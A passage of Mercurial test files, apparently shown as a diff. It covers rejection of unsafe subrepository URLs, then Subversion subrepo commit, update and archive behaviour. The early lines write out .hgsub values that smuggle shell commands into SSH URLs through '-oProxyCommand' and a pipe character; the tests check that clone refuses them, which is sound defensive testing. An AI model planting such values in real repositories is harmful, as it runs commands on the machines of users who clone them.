1203 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1203 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1204 updating to branch default
1204 updating to branch default
1205 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
1205 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
1206 [255]
1206 [255]
1207
1207
1208 also check for a pipe
1209
1210 $ cd malicious-proxycommand
1211 $ echo 's = [git]ssh://fakehost|shell/path' > .hgsub
1212 $ hg ci -m 'change url to pipe'
1213 $ cd ..
1214 $ rm -r malicious-proxycommand-clone
1215 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1216 updating to branch default
1217 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepo s)
1218 [255]
1219
1220 also check that a percent encoded '|' (%7C) doesn't work
1221
1222 $ cd malicious-proxycommand
1223 $ echo 's = [git]ssh://fakehost%7Cshell/path' > .hgsub
1224 $ hg ci -m 'change url to percent encoded'
1225 $ cd ..
1226 $ rm -r malicious-proxycommand-clone
1227 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1228 updating to branch default
1229 abort: potentially unsafe url: 'ssh://fakehost|shell/path' (in subrepo s)
1230 [255]
@@ -1,705 +1,681 b''
1 #require svn15
1 #require svn15
2
2
3 $ SVNREPOPATH=`pwd`/svn-repo
3 $ SVNREPOPATH=`pwd`/svn-repo
4 #if windows
4 #if windows
5 $ SVNREPOURL=file:///`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
5 $ SVNREPOURL=file:///`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
6 #else
6 #else
7 $ SVNREPOURL=file://`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
7 $ SVNREPOURL=file://`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
8 #endif
8 #endif
9
9
10 $ filter_svn_output () {
10 $ filter_svn_output () {
11 > egrep -v 'Committing|Transmitting|Updating|(^$)' || true
11 > egrep -v 'Committing|Transmitting|Updating|(^$)' || true
12 > }
12 > }
13
13
14 create subversion repo
14 create subversion repo
15
15
16 $ WCROOT="`pwd`/svn-wc"
16 $ WCROOT="`pwd`/svn-wc"
17 $ svnadmin create svn-repo
17 $ svnadmin create svn-repo
18 $ svn co "$SVNREPOURL" svn-wc
18 $ svn co "$SVNREPOURL" svn-wc
19 Checked out revision 0.
19 Checked out revision 0.
20 $ cd svn-wc
20 $ cd svn-wc
21 $ mkdir src
21 $ mkdir src
22 $ echo alpha > src/alpha
22 $ echo alpha > src/alpha
23 $ svn add src
23 $ svn add src
24 A src
24 A src
25 A src/alpha (glob)
25 A src/alpha (glob)
26 $ mkdir externals
26 $ mkdir externals
27 $ echo other > externals/other
27 $ echo other > externals/other
28 $ svn add externals
28 $ svn add externals
29 A externals
29 A externals
30 A externals/other (glob)
30 A externals/other (glob)
31 $ svn ci -qm 'Add alpha'
31 $ svn ci -qm 'Add alpha'
32 $ svn up -q
32 $ svn up -q
33 $ echo "externals -r1 $SVNREPOURL/externals" > extdef
33 $ echo "externals -r1 $SVNREPOURL/externals" > extdef
34 $ svn propset -F extdef svn:externals src
34 $ svn propset -F extdef svn:externals src
35 property 'svn:externals' set on 'src'
35 property 'svn:externals' set on 'src'
36 $ svn ci -qm 'Setting externals'
36 $ svn ci -qm 'Setting externals'
37 $ cd ..
37 $ cd ..
38
38
39 create hg repo
39 create hg repo
40
40
41 $ mkdir sub
41 $ mkdir sub
42 $ cd sub
42 $ cd sub
43 $ hg init t
43 $ hg init t
44 $ cd t
44 $ cd t
45
45
46 first revision, no sub
46 first revision, no sub
47
47
48 $ echo a > a
48 $ echo a > a
49 $ hg ci -Am0
49 $ hg ci -Am0
50 adding a
50 adding a
51
51
52 add first svn sub with leading whitespaces
52 add first svn sub with leading whitespaces
53
53
54 $ echo "s = [svn] $SVNREPOURL/src" >> .hgsub
54 $ echo "s = [svn] $SVNREPOURL/src" >> .hgsub
55 $ echo "subdir/s = [svn] $SVNREPOURL/src" >> .hgsub
55 $ echo "subdir/s = [svn] $SVNREPOURL/src" >> .hgsub
56 $ svn co --quiet "$SVNREPOURL"/src s
56 $ svn co --quiet "$SVNREPOURL"/src s
57 $ mkdir subdir
57 $ mkdir subdir
58 $ svn co --quiet "$SVNREPOURL"/src subdir/s
58 $ svn co --quiet "$SVNREPOURL"/src subdir/s
59 $ hg add .hgsub
59 $ hg add .hgsub
60 $ hg ci -m1
60 $ hg ci -m1
61
61
62 make sure we avoid empty commits (issue2445)
62 make sure we avoid empty commits (issue2445)
63
63
64 $ hg sum
64 $ hg sum
65 parent: 1:* tip (glob)
65 parent: 1:* tip (glob)
66 1
66 1
67 branch: default
67 branch: default
68 commit: (clean)
68 commit: (clean)
69 update: (current)
69 update: (current)
70 phases: 2 draft
70 phases: 2 draft
71 $ hg ci -moops
71 $ hg ci -moops
72 nothing changed
72 nothing changed
73 [1]
73 [1]
74
74
75 debugsub
75 debugsub
76
76
77 $ hg debugsub
77 $ hg debugsub
78 path s
78 path s
79 source file://*/svn-repo/src (glob)
79 source file://*/svn-repo/src (glob)
80 revision 2
80 revision 2
81 path subdir/s
81 path subdir/s
82 source file://*/svn-repo/src (glob)
82 source file://*/svn-repo/src (glob)
83 revision 2
83 revision 2
84
84
85 change file in svn and hg, commit
85 change file in svn and hg, commit
86
86
87 $ echo a >> a
87 $ echo a >> a
88 $ echo alpha >> s/alpha
88 $ echo alpha >> s/alpha
89 $ hg sum
89 $ hg sum
90 parent: 1:* tip (glob)
90 parent: 1:* tip (glob)
91 1
91 1
92 branch: default
92 branch: default
93 commit: 1 modified, 1 subrepos
93 commit: 1 modified, 1 subrepos
94 update: (current)
94 update: (current)
95 phases: 2 draft
95 phases: 2 draft
96 $ hg commit --subrepos -m 'Message!' | filter_svn_output
96 $ hg commit --subrepos -m 'Message!' | filter_svn_output
97 committing subrepository s
97 committing subrepository s
98 Sending*s/alpha (glob)
98 Sending*s/alpha (glob)
99 Committed revision 3.
99 Committed revision 3.
100 Fetching external item into '*s/externals'* (glob)
100 Fetching external item into '*s/externals'* (glob)
101 External at revision 1.
101 External at revision 1.
102 At revision 3.
102 At revision 3.
103 $ hg debugsub
103 $ hg debugsub
104 path s
104 path s
105 source file://*/svn-repo/src (glob)
105 source file://*/svn-repo/src (glob)
106 revision 3
106 revision 3
107 path subdir/s
107 path subdir/s
108 source file://*/svn-repo/src (glob)
108 source file://*/svn-repo/src (glob)
109 revision 2
109 revision 2
110
110
111 missing svn file, commit should fail
111 missing svn file, commit should fail
112
112
113 $ rm s/alpha
113 $ rm s/alpha
114 $ hg commit --subrepos -m 'abort on missing file'
114 $ hg commit --subrepos -m 'abort on missing file'
115 committing subrepository s
115 committing subrepository s
116 abort: cannot commit missing svn entries (in subrepo s)
116 abort: cannot commit missing svn entries (in subrepo s)
117 [255]
117 [255]
118 $ svn revert s/alpha > /dev/null
118 $ svn revert s/alpha > /dev/null
119
119
120 add an unrelated revision in svn and update the subrepo to without
120 add an unrelated revision in svn and update the subrepo to without
121 bringing any changes.
121 bringing any changes.
122
122
123 $ svn mkdir "$SVNREPOURL/unrelated" -qm 'create unrelated'
123 $ svn mkdir "$SVNREPOURL/unrelated" -qm 'create unrelated'
124 $ svn up -q s
124 $ svn up -q s
125 $ hg sum
125 $ hg sum
126 parent: 2:* tip (glob)
126 parent: 2:* tip (glob)
127 Message!
127 Message!
128 branch: default
128 branch: default
129 commit: (clean)
129 commit: (clean)
130 update: (current)
130 update: (current)
131 phases: 3 draft
131 phases: 3 draft
132
132
133 $ echo a > s/a
133 $ echo a > s/a
134
134
135 should be empty despite change to s/a
135 should be empty despite change to s/a
136
136
137 $ hg st
137 $ hg st
138
138
139 add a commit from svn
139 add a commit from svn
140
140
141 $ cd "$WCROOT/src"
141 $ cd "$WCROOT/src"
142 $ svn up -q
142 $ svn up -q
143 $ echo xyz >> alpha
143 $ echo xyz >> alpha
144 $ svn propset svn:mime-type 'text/xml' alpha
144 $ svn propset svn:mime-type 'text/xml' alpha
145 property 'svn:mime-type' set on 'alpha'
145 property 'svn:mime-type' set on 'alpha'
146 $ svn ci -qm 'amend a from svn'
146 $ svn ci -qm 'amend a from svn'
147 $ cd ../../sub/t
147 $ cd ../../sub/t
148
148
149 this commit from hg will fail
149 this commit from hg will fail
150
150
151 $ echo zzz >> s/alpha
151 $ echo zzz >> s/alpha
152 $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
152 $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
153 committing subrepository s
153 committing subrepository s
154 abort: svn:*Commit failed (details follow): (glob)
154 abort: svn:*Commit failed (details follow): (glob)
155 [255]
155 [255]
156 $ svn revert -q s/alpha
156 $ svn revert -q s/alpha
157
157
158 this commit fails because of meta changes
158 this commit fails because of meta changes
159
159
160 $ svn propset svn:mime-type 'text/html' s/alpha
160 $ svn propset svn:mime-type 'text/html' s/alpha
161 property 'svn:mime-type' set on 's/alpha' (glob)
161 property 'svn:mime-type' set on 's/alpha' (glob)
162 $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
162 $ (hg ci --subrepos -m 'amend alpha from hg' 2>&1; echo "[$?]") | grep -vi 'out of date'
163 committing subrepository s
163 committing subrepository s
164 abort: svn:*Commit failed (details follow): (glob)
164 abort: svn:*Commit failed (details follow): (glob)
165 [255]
165 [255]
166 $ svn revert -q s/alpha
166 $ svn revert -q s/alpha
167
167
168 this commit fails because of externals changes
168 this commit fails because of externals changes
169
169
170 $ echo zzz > s/externals/other
170 $ echo zzz > s/externals/other
171 $ hg ci --subrepos -m 'amend externals from hg'
171 $ hg ci --subrepos -m 'amend externals from hg'
172 committing subrepository s
172 committing subrepository s
173 abort: cannot commit svn externals (in subrepo s)
173 abort: cannot commit svn externals (in subrepo s)
174 [255]
174 [255]
175 $ hg diff --subrepos -r 1:2 | grep -v diff
175 $ hg diff --subrepos -r 1:2 | grep -v diff
176 --- a/.hgsubstate Thu Jan 01 00:00:00 1970 +0000
176 --- a/.hgsubstate Thu Jan 01 00:00:00 1970 +0000
177 +++ b/.hgsubstate Thu Jan 01 00:00:00 1970 +0000
177 +++ b/.hgsubstate Thu Jan 01 00:00:00 1970 +0000
178 @@ -1,2 +1,2 @@
178 @@ -1,2 +1,2 @@
179 -2 s
179 -2 s
180 +3 s
180 +3 s
181 2 subdir/s
181 2 subdir/s
182 --- a/a Thu Jan 01 00:00:00 1970 +0000
182 --- a/a Thu Jan 01 00:00:00 1970 +0000
183 +++ b/a Thu Jan 01 00:00:00 1970 +0000
183 +++ b/a Thu Jan 01 00:00:00 1970 +0000
184 @@ -1,1 +1,2 @@
184 @@ -1,1 +1,2 @@
185 a
185 a
186 +a
186 +a
187 $ svn revert -q s/externals/other
187 $ svn revert -q s/externals/other
188
188
189 this commit fails because of externals meta changes
189 this commit fails because of externals meta changes
190
190
191 $ svn propset svn:mime-type 'text/html' s/externals/other
191 $ svn propset svn:mime-type 'text/html' s/externals/other
192 property 'svn:mime-type' set on 's/externals/other' (glob)
192 property 'svn:mime-type' set on 's/externals/other' (glob)
193 $ hg ci --subrepos -m 'amend externals from hg'
193 $ hg ci --subrepos -m 'amend externals from hg'
194 committing subrepository s
194 committing subrepository s
195 abort: cannot commit svn externals (in subrepo s)
195 abort: cannot commit svn externals (in subrepo s)
196 [255]
196 [255]
197 $ svn revert -q s/externals/other
197 $ svn revert -q s/externals/other
198
198
199 clone
199 clone
200
200
201 $ cd ..
201 $ cd ..
202 $ hg clone t tc
202 $ hg clone t tc
203 updating to branch default
203 updating to branch default
204 A tc/s/alpha (glob)
204 A tc/s/alpha (glob)
205 U tc/s (glob)
205 U tc/s (glob)
206
206
207 Fetching external item into 'tc/s/externals'* (glob)
207 Fetching external item into 'tc/s/externals'* (glob)
208 A tc/s/externals/other (glob)
208 A tc/s/externals/other (glob)
209 Checked out external at revision 1.
209 Checked out external at revision 1.
210
210
211 Checked out revision 3.
211 Checked out revision 3.
212 A tc/subdir/s/alpha (glob)
212 A tc/subdir/s/alpha (glob)
213 U tc/subdir/s (glob)
213 U tc/subdir/s (glob)
214
214
215 Fetching external item into 'tc/subdir/s/externals'* (glob)
215 Fetching external item into 'tc/subdir/s/externals'* (glob)
216 A tc/subdir/s/externals/other (glob)
216 A tc/subdir/s/externals/other (glob)
217 Checked out external at revision 1.
217 Checked out external at revision 1.
218
218
219 Checked out revision 2.
219 Checked out revision 2.
220 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
220 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
221 $ cd tc
221 $ cd tc
222
222
223 debugsub in clone
223 debugsub in clone
224
224
225 $ hg debugsub
225 $ hg debugsub
226 path s
226 path s
227 source file://*/svn-repo/src (glob)
227 source file://*/svn-repo/src (glob)
228 revision 3
228 revision 3
229 path subdir/s
229 path subdir/s
230 source file://*/svn-repo/src (glob)
230 source file://*/svn-repo/src (glob)
231 revision 2
231 revision 2
232
232
233 verify subrepo is contained within the repo directory
233 verify subrepo is contained within the repo directory
234
234
235 $ $PYTHON -c "import os.path; print os.path.exists('s')"
235 $ $PYTHON -c "import os.path; print os.path.exists('s')"
236 True
236 True
237
237
238 update to nullrev (must delete the subrepo)
238 update to nullrev (must delete the subrepo)
239
239
240 $ hg up null
240 $ hg up null
241 0 files updated, 0 files merged, 3 files removed, 0 files unresolved
241 0 files updated, 0 files merged, 3 files removed, 0 files unresolved
242 $ ls
242 $ ls
243
243
244 Check hg update --clean
244 Check hg update --clean
245 $ cd "$TESTTMP/sub/t"
245 $ cd "$TESTTMP/sub/t"
246 $ cd s
246 $ cd s
247 $ echo c0 > alpha
247 $ echo c0 > alpha
248 $ echo c1 > f1
248 $ echo c1 > f1
249 $ echo c1 > f2
249 $ echo c1 > f2
250 $ svn add f1 -q
250 $ svn add f1 -q
251 $ svn status | sort
251 $ svn status | sort
252
252
253 ? * a (glob)
253 ? * a (glob)
254 ? * f2 (glob)
254 ? * f2 (glob)
255 A * f1 (glob)
255 A * f1 (glob)
256 M * alpha (glob)
256 M * alpha (glob)
257 Performing status on external item at 'externals'* (glob)
257 Performing status on external item at 'externals'* (glob)
258 X * externals (glob)
258 X * externals (glob)
259 $ cd ../..
259 $ cd ../..
260 $ hg -R t update -C
260 $ hg -R t update -C
261
261
262 Fetching external item into 't/s/externals'* (glob)
262 Fetching external item into 't/s/externals'* (glob)
263 Checked out external at revision 1.
263 Checked out external at revision 1.
264
264
265 Checked out revision 3.
265 Checked out revision 3.
266 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
266 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
267 $ cd t/s
267 $ cd t/s
268 $ svn status | sort
268 $ svn status | sort
269
269
270 ? * a (glob)
270 ? * a (glob)
271 ? * f1 (glob)
271 ? * f1 (glob)
272 ? * f2 (glob)
272 ? * f2 (glob)
273 Performing status on external item at 'externals'* (glob)
273 Performing status on external item at 'externals'* (glob)
274 X * externals (glob)
274 X * externals (glob)
275
275
276 Sticky subrepositories, no changes
276 Sticky subrepositories, no changes
277 $ cd "$TESTTMP/sub/t"
277 $ cd "$TESTTMP/sub/t"
278 $ hg id -n
278 $ hg id -n
279 2
279 2
280 $ cd s
280 $ cd s
281 $ svnversion
281 $ svnversion
282 3
282 3
283 $ cd ..
283 $ cd ..
284 $ hg update 1
284 $ hg update 1
285 U *s/alpha (glob)
285 U *s/alpha (glob)
286
286
287 Fetching external item into '*s/externals'* (glob)
287 Fetching external item into '*s/externals'* (glob)
288 Checked out external at revision 1.
288 Checked out external at revision 1.
289
289
290 Checked out revision 2.
290 Checked out revision 2.
291 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
291 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
292 $ hg id -n
292 $ hg id -n
293 1
293 1
294 $ cd s
294 $ cd s
295 $ svnversion
295 $ svnversion
296 2
296 2
297 $ cd ..
297 $ cd ..
298
298
299 Sticky subrepositories, file changes
299 Sticky subrepositories, file changes
300 $ touch s/f1
300 $ touch s/f1
301 $ cd s
301 $ cd s
302 $ svn add f1
302 $ svn add f1
303 A f1
303 A f1
304 $ cd ..
304 $ cd ..
305 $ hg id -n
305 $ hg id -n
306 1+
306 1+
307 $ cd s
307 $ cd s
308 $ svnversion
308 $ svnversion
309 2M
309 2M
310 $ cd ..
310 $ cd ..
311 $ hg update tip
311 $ hg update tip
312 subrepository s diverged (local revision: 2, remote revision: 3)
312 subrepository s diverged (local revision: 2, remote revision: 3)
313 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
313 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
314 subrepository sources for s differ
314 subrepository sources for s differ
315 use (l)ocal source (2) or (r)emote source (3)? l
315 use (l)ocal source (2) or (r)emote source (3)? l
316 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
316 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
317 $ hg id -n
317 $ hg id -n
318 2+
318 2+
319 $ cd s
319 $ cd s
320 $ svnversion
320 $ svnversion
321 2M
321 2M
322 $ cd ..
322 $ cd ..
323 $ hg update --clean tip
323 $ hg update --clean tip
324 U *s/alpha (glob)
324 U *s/alpha (glob)
325
325
326 Fetching external item into '*s/externals'* (glob)
326 Fetching external item into '*s/externals'* (glob)
327 Checked out external at revision 1.
327 Checked out external at revision 1.
328
328
329 Checked out revision 3.
329 Checked out revision 3.
330 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
330 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
331
331
332 Sticky subrepository, revision updates
332 Sticky subrepository, revision updates
333 $ hg id -n
333 $ hg id -n
334 2
334 2
335 $ cd s
335 $ cd s
336 $ svnversion
336 $ svnversion
337 3
337 3
338 $ cd ..
338 $ cd ..
339 $ cd s
339 $ cd s
340 $ svn update -qr 1
340 $ svn update -qr 1
341 $ cd ..
341 $ cd ..
342 $ hg update 1
342 $ hg update 1
343 subrepository s diverged (local revision: 3, remote revision: 2)
343 subrepository s diverged (local revision: 3, remote revision: 2)
344 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
344 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
345 subrepository sources for s differ (in checked out version)
345 subrepository sources for s differ (in checked out version)
346 use (l)ocal source (1) or (r)emote source (2)? l
346 use (l)ocal source (1) or (r)emote source (2)? l
347 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
347 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
348 $ hg id -n
348 $ hg id -n
349 1+
349 1+
350 $ cd s
350 $ cd s
351 $ svnversion
351 $ svnversion
352 1
352 1
353 $ cd ..
353 $ cd ..
354
354
355 Sticky subrepository, file changes and revision updates
355 Sticky subrepository, file changes and revision updates
356 $ touch s/f1
356 $ touch s/f1
357 $ cd s
357 $ cd s
358 $ svn add f1
358 $ svn add f1
359 A f1
359 A f1
360 $ svnversion
360 $ svnversion
361 1M
361 1M
362 $ cd ..
362 $ cd ..
363 $ hg id -n
363 $ hg id -n
364 1+
364 1+
365 $ hg update tip
365 $ hg update tip
366 subrepository s diverged (local revision: 3, remote revision: 3)
366 subrepository s diverged (local revision: 3, remote revision: 3)
367 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
367 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
368 subrepository sources for s differ
368 subrepository sources for s differ
369 use (l)ocal source (1) or (r)emote source (3)? l
369 use (l)ocal source (1) or (r)emote source (3)? l
370 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
370 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
371 $ hg id -n
371 $ hg id -n
372 2+
372 2+
373 $ cd s
373 $ cd s
374 $ svnversion
374 $ svnversion
375 1M
375 1M
376 $ cd ..
376 $ cd ..
377
377
378 Sticky repository, update --clean
378 Sticky repository, update --clean
379 $ hg update --clean tip | grep -v 's[/\]externals[/\]other'
379 $ hg update --clean tip | grep -v 's[/\]externals[/\]other'
380 U *s/alpha (glob)
380 U *s/alpha (glob)
381 U *s (glob)
381 U *s (glob)
382
382
383 Fetching external item into '*s/externals'* (glob)
383 Fetching external item into '*s/externals'* (glob)
384 Checked out external at revision 1.
384 Checked out external at revision 1.
385
385
386 Checked out revision 3.
386 Checked out revision 3.
387 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
387 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
388 $ hg id -n
388 $ hg id -n
389 2
389 2
390 $ cd s
390 $ cd s
391 $ svnversion
391 $ svnversion
392 3
392 3
393 $ cd ..
393 $ cd ..
394
394
395 Test subrepo already at intended revision:
395 Test subrepo already at intended revision:
396 $ cd s
396 $ cd s
397 $ svn update -qr 2
397 $ svn update -qr 2
398 $ cd ..
398 $ cd ..
399 $ hg update 1
399 $ hg update 1
400 subrepository s diverged (local revision: 3, remote revision: 2)
400 subrepository s diverged (local revision: 3, remote revision: 2)
401 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
401 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
402 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
402 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
403 $ hg id -n
403 $ hg id -n
404 1+
404 1+
405 $ cd s
405 $ cd s
406 $ svnversion
406 $ svnversion
407 2
407 2
408 $ cd ..
408 $ cd ..
409
409
410 Test case where subversion would fail to update the subrepo because there
410 Test case where subversion would fail to update the subrepo because there
411 are unknown directories being replaced by tracked ones (happens with rebase).
411 are unknown directories being replaced by tracked ones (happens with rebase).
412
412
413 $ cd "$WCROOT/src"
413 $ cd "$WCROOT/src"
414 $ mkdir dir
414 $ mkdir dir
415 $ echo epsilon.py > dir/epsilon.py
415 $ echo epsilon.py > dir/epsilon.py
416 $ svn add dir
416 $ svn add dir
417 A dir
417 A dir
418 A dir/epsilon.py (glob)
418 A dir/epsilon.py (glob)
419 $ svn ci -qm 'Add dir/epsilon.py'
419 $ svn ci -qm 'Add dir/epsilon.py'
420 $ cd ../..
420 $ cd ../..
421 $ hg init rebaserepo
421 $ hg init rebaserepo
422 $ cd rebaserepo
422 $ cd rebaserepo
423 $ svn co -r5 --quiet "$SVNREPOURL"/src s
423 $ svn co -r5 --quiet "$SVNREPOURL"/src s
424 $ echo "s = [svn] $SVNREPOURL/src" >> .hgsub
424 $ echo "s = [svn] $SVNREPOURL/src" >> .hgsub
425 $ hg add .hgsub
425 $ hg add .hgsub
426 $ hg ci -m addsub
426 $ hg ci -m addsub
427 $ echo a > a
427 $ echo a > a
428 $ hg add .
428 $ hg add .
429 adding a
429 adding a
430 $ hg ci -m adda
430 $ hg ci -m adda
431 $ hg up 0
431 $ hg up 0
432 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
432 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
433 $ svn up -qr6 s
433 $ svn up -qr6 s
434 $ hg ci -m updatesub
434 $ hg ci -m updatesub
435 created new head
435 created new head
436 $ echo pyc > s/dir/epsilon.pyc
436 $ echo pyc > s/dir/epsilon.pyc
437 $ hg up 1
437 $ hg up 1
438 D *s/dir (glob)
438 D *s/dir (glob)
439
439
440 Fetching external item into '*s/externals'* (glob)
440 Fetching external item into '*s/externals'* (glob)
441 Checked out external at revision 1.
441 Checked out external at revision 1.
442
442
443 Checked out revision 5.
443 Checked out revision 5.
444 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
444 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
445 $ hg up -q 2
445 $ hg up -q 2
446
446
447 Modify one of the externals to point to a different path so we can
447 Modify one of the externals to point to a different path so we can
448 test having obstructions when switching branches on checkout:
448 test having obstructions when switching branches on checkout:
449 $ hg checkout tip
449 $ hg checkout tip
450 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
450 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
451 $ echo "obstruct = [svn] $SVNREPOURL/externals" >> .hgsub
451 $ echo "obstruct = [svn] $SVNREPOURL/externals" >> .hgsub
452 $ svn co -r5 --quiet "$SVNREPOURL"/externals obstruct
452 $ svn co -r5 --quiet "$SVNREPOURL"/externals obstruct
453 $ hg commit -m 'Start making obstructed working copy'
453 $ hg commit -m 'Start making obstructed working copy'
454 $ hg book other
454 $ hg book other
455 $ hg co -r 'p1(tip)'
455 $ hg co -r 'p1(tip)'
456 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
456 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
457 (leaving bookmark other)
457 (leaving bookmark other)
458 $ echo "obstruct = [svn] $SVNREPOURL/src" >> .hgsub
458 $ echo "obstruct = [svn] $SVNREPOURL/src" >> .hgsub
459 $ svn co -r5 --quiet "$SVNREPOURL"/src obstruct
459 $ svn co -r5 --quiet "$SVNREPOURL"/src obstruct
460 $ hg commit -m 'Other branch which will be obstructed'
460 $ hg commit -m 'Other branch which will be obstructed'
461 created new head
461 created new head
462
462
463 Switching back to the head where we have another path mapped to the
463 Switching back to the head where we have another path mapped to the
464 same subrepo should work if the subrepo is clean.
464 same subrepo should work if the subrepo is clean.
465 $ hg co other
465 $ hg co other
466 A *obstruct/other (glob)
466 A *obstruct/other (glob)
467 Checked out revision 1.
467 Checked out revision 1.
468 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
468 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
469 (activating bookmark other)
469 (activating bookmark other)
470
470
471 This is surprising, but is also correct based on the current code:
471 This is surprising, but is also correct based on the current code:
472 $ echo "updating should (maybe) fail" > obstruct/other
472 $ echo "updating should (maybe) fail" > obstruct/other
473 $ hg co tip
473 $ hg co tip
474 abort: uncommitted changes
474 abort: uncommitted changes
475 (commit or update --clean to discard changes)
475 (commit or update --clean to discard changes)
476 [255]
476 [255]
477
477
478 Point to a Subversion branch which has since been deleted and recreated
478 Point to a Subversion branch which has since been deleted and recreated
479 First, create that condition in the repository.
479 First, create that condition in the repository.
480
480
481 $ hg ci --subrepos -m cleanup | filter_svn_output
481 $ hg ci --subrepos -m cleanup | filter_svn_output
482 committing subrepository obstruct
482 committing subrepository obstruct
483 Sending obstruct/other (glob)
483 Sending obstruct/other (glob)
484 Committed revision 7.
484 Committed revision 7.
485 At revision 7.
485 At revision 7.
486 $ svn mkdir -qm "baseline" $SVNREPOURL/trunk
486 $ svn mkdir -qm "baseline" $SVNREPOURL/trunk
487 $ svn copy -qm "initial branch" $SVNREPOURL/trunk $SVNREPOURL/branch
487 $ svn copy -qm "initial branch" $SVNREPOURL/trunk $SVNREPOURL/branch
488 $ svn co --quiet "$SVNREPOURL"/branch tempwc
488 $ svn co --quiet "$SVNREPOURL"/branch tempwc
489 $ cd tempwc
489 $ cd tempwc
490 $ echo "something old" > somethingold
490 $ echo "something old" > somethingold
491 $ svn add somethingold
491 $ svn add somethingold
492 A somethingold
492 A somethingold
493 $ svn ci -qm 'Something old'
493 $ svn ci -qm 'Something old'
494 $ svn rm -qm "remove branch" $SVNREPOURL/branch
494 $ svn rm -qm "remove branch" $SVNREPOURL/branch
495 $ svn copy -qm "recreate branch" $SVNREPOURL/trunk $SVNREPOURL/branch
495 $ svn copy -qm "recreate branch" $SVNREPOURL/trunk $SVNREPOURL/branch
496 $ svn up -q
496 $ svn up -q
497 $ echo "something new" > somethingnew
497 $ echo "something new" > somethingnew
498 $ svn add somethingnew
498 $ svn add somethingnew
499 A somethingnew
499 A somethingnew
500 $ svn ci -qm 'Something new'
500 $ svn ci -qm 'Something new'
501 $ cd ..
501 $ cd ..
502 $ rm -rf tempwc
502 $ rm -rf tempwc
503 $ svn co "$SVNREPOURL/branch"@10 recreated
503 $ svn co "$SVNREPOURL/branch"@10 recreated
504 A recreated/somethingold (glob)
504 A recreated/somethingold (glob)
505 Checked out revision 10.
505 Checked out revision 10.
506 $ echo "recreated = [svn] $SVNREPOURL/branch" >> .hgsub
506 $ echo "recreated = [svn] $SVNREPOURL/branch" >> .hgsub
507 $ hg ci -m addsub
507 $ hg ci -m addsub
508 $ cd recreated
508 $ cd recreated
509 $ svn up -q
509 $ svn up -q
510 $ cd ..
510 $ cd ..
511 $ hg ci -m updatesub
511 $ hg ci -m updatesub
512 $ hg up -r-2
512 $ hg up -r-2
513 D *recreated/somethingnew (glob)
513 D *recreated/somethingnew (glob)
514 A *recreated/somethingold (glob)
514 A *recreated/somethingold (glob)
515 Checked out revision 10.
515 Checked out revision 10.
516 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
516 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
517 (leaving bookmark other)
517 (leaving bookmark other)
518 $ test -f recreated/somethingold
518 $ test -f recreated/somethingold
519
519
520 Test archive
520 Test archive
521
521
522 $ hg archive -S ../archive-all --debug --config progress.debug=true
522 $ hg archive -S ../archive-all --debug --config progress.debug=true
523 archiving: 0/2 files (0.00%)
523 archiving: 0/2 files (0.00%)
524 archiving: .hgsub 1/2 files (50.00%)
524 archiving: .hgsub 1/2 files (50.00%)
525 archiving: .hgsubstate 2/2 files (100.00%)
525 archiving: .hgsubstate 2/2 files (100.00%)
526 archiving (obstruct): 0/1 files (0.00%)
526 archiving (obstruct): 0/1 files (0.00%)
527 archiving (obstruct): 1/1 files (100.00%)
527 archiving (obstruct): 1/1 files (100.00%)
528 archiving (recreated): 0/1 files (0.00%)
528 archiving (recreated): 0/1 files (0.00%)
